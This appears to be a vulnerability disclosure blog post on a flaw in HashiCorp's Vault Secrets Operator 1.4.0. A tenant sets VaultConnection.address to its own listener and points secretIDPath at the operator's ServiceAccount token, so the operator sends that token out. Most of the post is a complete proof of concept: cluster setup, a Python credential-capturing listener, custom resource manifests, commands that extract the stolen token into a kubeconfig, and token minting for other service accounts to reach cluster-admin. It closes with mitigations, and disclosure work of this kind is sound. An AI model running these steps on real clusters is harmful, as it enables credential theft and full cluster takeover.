The Vault Secrets Operator sends its own secret with access to every Secret
New day, new way to make an operator send a user its own privileged ServiceAccount token. This time it’s HashiCorp’s Vault Secrets Operator. The stolen token reads and writes Secrets across every namespace in the cluster, and creates serviceaccounts/token anywhere - which is one hop from full cluster-admin.
On the operator
The Vault Secrets Operator lets pods consume Vault secrets natively from Kubernetes Secrets. You point it at a secret in Vault, it copies the value into a Kubernetes Secret in your namespace and keeps the two in sync.
The operator introduces several namespaced custom resources. VaultConnection specifies the Vault instance address, VaultAuth specifies how to log in there, and VaultStaticSecret is a request to copy a Vault secret into a Kubernetes Secret. A VaultStaticSecret points at a VaultAuth, which points at a VaultConnection.
Vulnerability
AppRole is Vault’s machine-to-machine auth method. You log in with two values: a role_id naming the role, and a secret_id proving you may use it, the credential.
Normally VSO reads it out of a Kubernetes Secret you name in spec.appRole.secretRef. Version 1.4.0 added a second source, spec.appRole.secretIDPath, a path to a file on disk. The PR that added it (#1153) says: “Allows the Vault client to populate its AppRole secret ID from a file on disk instead of just a Kubernetes Secret.”
So, ironically, it’s a hardening feature. secretRef reads the Secret from the consumer’s namespace - the tenant’s - so every tenant using AppRole auth holds a readable copy of the credential the operator logs into Vault with. secretIDPath moves it into the operator’s own pod, mounted by the admin through the chart’s controller.manager.volumes, where no tenant sees it.
VSO has three objects: VaultConnection says where Vault is, VaultAuth says how to log in, VaultStaticSecret says which secret to copy where. The first two are supposed to be admins’; the tenant creates only the third. allowedNamespaces on VaultAuth lists which namespaces may use it, and is empty by default. It has one exception: “Secret resources in the same namespace as the VaultAuth bypass this check.”
And it’s a problem: nothing makes VaultAuth and VaultConnection admin-only. Both are scope: Namespaced, so a tenant can create a pair next to its own VaultStaticSecret. Since the namespace is the same, the allowedNamespaces check is omitted.
There is a validation on the field, to the dev’s credit - no path traversal allowed:
// api/v1beta1/common.go:136
func validatePath(path string) (string, error) {
if strings.Contains(path, "..") {
return "", fmt.Errorf("invalid path: path traversal detected")
}
cleanPath := filepath.Clean(path)
// ... ".." checked again after Clean, then IsAbs, os.Stat, IsRegular, 1MB cap
}However, /var/run/secrets/kubernetes.io/serviceaccount/token is absolute.
Second half of the vuln is the free destination: VaultConnection.address is a bare string with no scheme allowlist and no host check.
So let’s just authenticate against ourselves with the pod-mounted service account.
PoC
Cluster preparation (kind cluster, operator, tenant RBAC)
kind create cluster --image kindest/node:v1.31.6 --name vso-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig
helm repo add hashicorp https://helm.releases.hashicorp.com
helm repo update hashicorp
helm upgrade --install vault-secrets-operator hashicorp/vault-secrets-operator \
--version 1.4.0 \
--namespace vault-secrets-operator-system --create-namespace \
--wait --timeout 5m
# the tenant: a ServiceAccount with edit in its own namespace and create/get on the VSO CRs
kubectl create namespace tenant
kubectl -n tenant create serviceaccount tenant-admin
kubectl -n tenant create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant:tenant-admin
kubectl -n tenant create role tenant-vso \
--verb=create,get \
--resource=vaultconnections.secrets.hashicorp.com,vaultauths.secrets.hashicorp.com,vaultstaticsecrets.secrets.hashicorp.com
kubectl -n tenant create rolebinding tenant-vso --role=tenant-vso --serviceaccount=tenant:tenant-admin
# mint the tenant's token into a kubeconfig that carries only that identity
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant create token tenant-admin --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster:
server: ${SERVER}
certificate-authority-data: ${CA}
contexts:
- name: tenant
context:
cluster: kind
user: tenant
namespace: tenant
current-context: tenant
users:
- name: tenant
user:
token: ${TOKEN}
EOF1. Stand up the listener. The tenant runs a pod in their own namespace that captures the body of any HTTP request and answers in the shape the Vault Go client expects, so the login runs far enough to send the credential
apiVersion: v1
kind: Pod
metadata:
name: listener
namespace: tenant
labels:
app: listener
spec:
containers:
- name: listener
image: python:3.12-slim
command: ["python3", "-u", "-c"]
args:
- |
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
def _h(self):
n = int(self.headers.get('Content-Length','0') or 0)
body = self.rfile.read(n) if n else b''
print("=== %s %s ===" % (self.command, self.path), flush=True)
print("BODY %s" % body.decode('utf-8','replace'), flush=True)
resp = b'{"auth":{"client_token":"hvs.poc","lease_duration":60,"renewable":false}}'
self.send_response(200)
self.send_header('Content-Type','application/json')
self.send_header('Content-Length', str(len(resp)))
self.end_headers()
self.wfile.write(resp)
do_GET = do_POST = do_PUT = do_DELETE = do_OPTIONS = do_HEAD = _h
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("0.0.0.0", 8200), H).serve_forever()
ports:
- containerPort: 8200kubectl --kubeconfig=./kubeconfig-tenant apply -f listener.yaml
kubectl --kubeconfig=./kubeconfig-tenant -n tenant expose pod listener --port=8200 --target-port=8200
kubectl --kubeconfig=./kubeconfig-tenant -n tenant wait --for=condition=Ready pod/listener --timeout=120s2. Point the operator at the listener and at its own token
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultConnection
metadata:
name: poc
namespace: tenant
spec:
address: http://listener.tenant.svc:8200
skipTLSVerify: true
---
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultAuth
metadata:
name: poc
namespace: tenant
spec:
vaultConnectionRef: poc
method: appRole
mount: poc
appRole:
roleId: poc
secretIDPath: /var/run/secrets/kubernetes.io/serviceaccount/token
---
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultStaticSecret
metadata:
name: poc
namespace: tenant
spec:
vaultAuthRef: poc
mount: secret
type: kv-v2
path: poc
refreshAfter: 10s
destination:
name: poc-dest
create: truekubectl --kubeconfig=./kubeconfig-tenant create -f vso-poc.yaml3. Read the token out of the listener log
sleep 15
STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant logs listener | grep -ao '"secret_id":"eyJ[^"]*"' | head -1 | sed 's/.*"secret_id":"//; s/"$//')
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster:
server: ${SERVER}
certificate-authority-data: ${CA}
contexts:
- name: stolen
context:
cluster: kind
user: stolen
current-context: stolen
users:
- name: stolen
user:
token: ${STOLEN}
EOF4. Use the stolen identity
kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# system:serviceaccount:vault-secrets-operator-system:vault-secrets-operator-controller-manager
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system auth can-i get secret
# sure!
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system auth can-i get serviceaccounts
# of course!
kubectl --kubeconfig=./kubeconfig-stolen auth can-i create serviceaccounts/token
# absolutely!The operator’s ServiceAccount also has create on serviceaccounts/token, so it can mint a token for any ServiceAccount in the cluster without one:
STOLEN_SA_TOKEN=$(kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create token namespace-controller)Enumerate the serviceaccounts, pick those with the powers you want, create their token and read it. Cluster-admin obtained from this trivially.
Mitigation
Upgrade to Vault Secrets Operator 1.5.0 or later. HashiCorp fixed this by deleting spec.appRole.secretIDPath. Alternatively block this resource path with admission policy.
A properly configured network policy could also possibly mitigate this, by preventing the operator from reaching an attacker-controlled address.